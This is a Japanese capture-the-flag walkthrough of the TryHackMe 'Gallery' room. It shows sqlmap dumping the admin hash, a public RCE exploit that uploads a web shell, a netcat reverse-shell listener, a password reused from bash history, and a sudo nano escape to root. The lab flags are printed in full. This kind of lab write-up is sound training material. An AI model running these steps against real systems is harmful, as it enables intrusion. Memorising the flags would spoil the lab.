【TryHackMe】Gallery：Walkthrough

# 概要

TryHackMe「Gallery」のWalkthroughです。

https://tryhackme.com/r/room/gallery666

# Task1

## **Q1**.*How many ports are open?*

ポートスキャンを実行します。

```
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Simple Image Gallery System
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|Apache httpd 2.4.29|
|8080|http|Apache httpd 2.4.29|

**A**.**2**

## **Q2**.*What's the name of the CMS?*

`8080`番ポートにアクセスします。

![8080 index.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7e47b168-da83-3656-0e63-f31e5cbfacac.jpeg)

**A**.**Simple Image Gallery**

## **Q3**.*What's the hash password of the admin user?*

`Simple Image Gallery System exploit`で検索するとRCEとSQLインジェクションの脆弱性を発見しました。

https://www.exploit-db.com/exploits/50214

https://www.exploit-db.com/exploits/50198

SQLインジェクションを利用してデータベース情報を取得します。

```
$ sqlmap -r login_request.txt --batch --dbms=mysql --dbs
available databases [2]:
[*] gallery_db
[*] information_schema

$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db --tables
Database: gallery_db
[4 tables]
+-------------+
| album_list  |
| images      |
| system_info |
| users       |
+-------------+

$ sqlmap -r login_request.txt --batch --dbms=mysql -D gallery_db -T users --dump

Database: gallery_db
Table: users
[1 entry]
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| id | type   | avatar                                   | lastname | password                         | username | firstname    | date_added          | last_login | date_updated        |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
| 1  | 1      | uploads/1629883080_1624240500_avatar.png | Admin    | a228b12a08b6527e7978cbe5d914531c | admin    | Adminstrator | 2021-01-20 14:02:37 | NULL       | 2021-08-25 09:18:12 |
+----+--------+------------------------------------------+----------+----------------------------------+----------+--------------+---------------------+------------+---------------------+
```

**A**.**a228b12a08b6527e7978cbe5d914531c**

## **Q4**.*What's the user flag?*

**Hint**.*Mike's mistake..*

RCEの脆弱性を悪用します。

https://www.exploit-db.com/exploits/50214

PoCを実行するとリンクが生成されます。

```
$ python exploit.py
TARGET = 10.10.35.248/gallery
Login Bypass
shell name TagoshijdkhwbrquqvqLetta

protecting user

User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin

shell uploading
- OK -
Shell URL : http://10.10.35.248/gallery/uploads/1727583660_TagoshijdkhwbrquqvqLetta.php?cmd=whoami
```

生成されたリンクにアクセスするとRCEが成功したと分かります。

![whoami.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/acfa3351-d448-167d-abc1-014129dbe0e3.jpeg)

Netcatでリッスンします。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
```

下記サイトでリバースシェルのペイロードを作成します。

https://www.revshells.com/

`?cmd`パラメータにペイロードを挿入するとシェルを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.35.248] 55842
$ whoami
whoami
www-data
```

`mike`アカウントを確認できました。

```
$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root root 4096 May 20  2021 .
drwxr-xr-x 23 root root 4096 Feb 12  2022 ..
drwxr-xr-x  6 mike mike 4096 Aug 25  2021 mike
drwx------  4 root root 4096 May 20  2021 ubuntu
```

`mike`という名前が含まれるフィルを探すと、`/var/backups`配下にフォルダを発見しました。

```
$ find / -name *mike* 2>/dev/null
find / -name *mike* 2>/dev/null
/home/mike
/var/backups/mike_home_backup
```

`/var/backups/mike_home_backup/.bash_history`から`sudo -l`で入力したパスワードを発見できました。

```
$ cat .bash_history

(省略)
sudo -lb3stpassw0rdbr0xx
```

`mike`アカウントに昇格できました。

```
$ su mike
su mike
Password: b3stpassw0rdbr0xx

mike@gallery:/var/backups/mike_home_backup$
```

`/home/mike/user.txt`からユーザーフラグを入手できました。

```/home/mike/user.txt
THM{af05cd30bfed67849befd546ef}
```

**A**.**THM{af05cd30bfed67849befd546ef}**

# Task2

## **Q1**.*What's the root flag?*

`sudo -l`で確認します。

```
$ sudo -l
sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
```

`/opt/rootkit.sh`が実行できるのでファイルの内容を確認します。

```/opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac
```

`read`を入力した際に`/bin/nano`が実行されます。
GTFOBinsで権限昇格のテクニックが見つかりました。

https://gtfobins.github.io/gtfobins/nano/#sudo

`/opt/rootkit.sh`を実行し、`read`を入力するとエラーが出て`nano`エディタが開けませんでした。

```
$ sudo /bin/bash /opt/rootkit.sh
sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
read
Error opening terminal: unknown.
```

今回は下記の手順でコマンドを実行することでエラーを解消できました。

```
$ export TERM=xterm
Ctrl + Z
stty raw -echo; fg
```

再度`/opt/rootkit.sh`を実行します。

```
$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
```

nanoエディタが開きました。

![nano.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a4ff57a0-4ec6-cea1-e0ff-6c4fc7d4fe1b.jpeg)

`Ctrl + R`を押します。

![ctrl r.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9f8785ba-ae22-3ab2-f288-b2ce363e77f4.jpeg)

`Ctrl + X`を入力するとコマンドを実行できるようになります。

![ctrl x.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/23006064-fecc-66e1-52cd-1512604cab37.jpeg)

`reset; sh 1>&0 2>&0`を入力するとrootに権限昇格できました。

![resety.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b0da537f-6c96-e739-da15-3650b4cf8c24.jpeg)

```
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}
```

**A**.**THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}**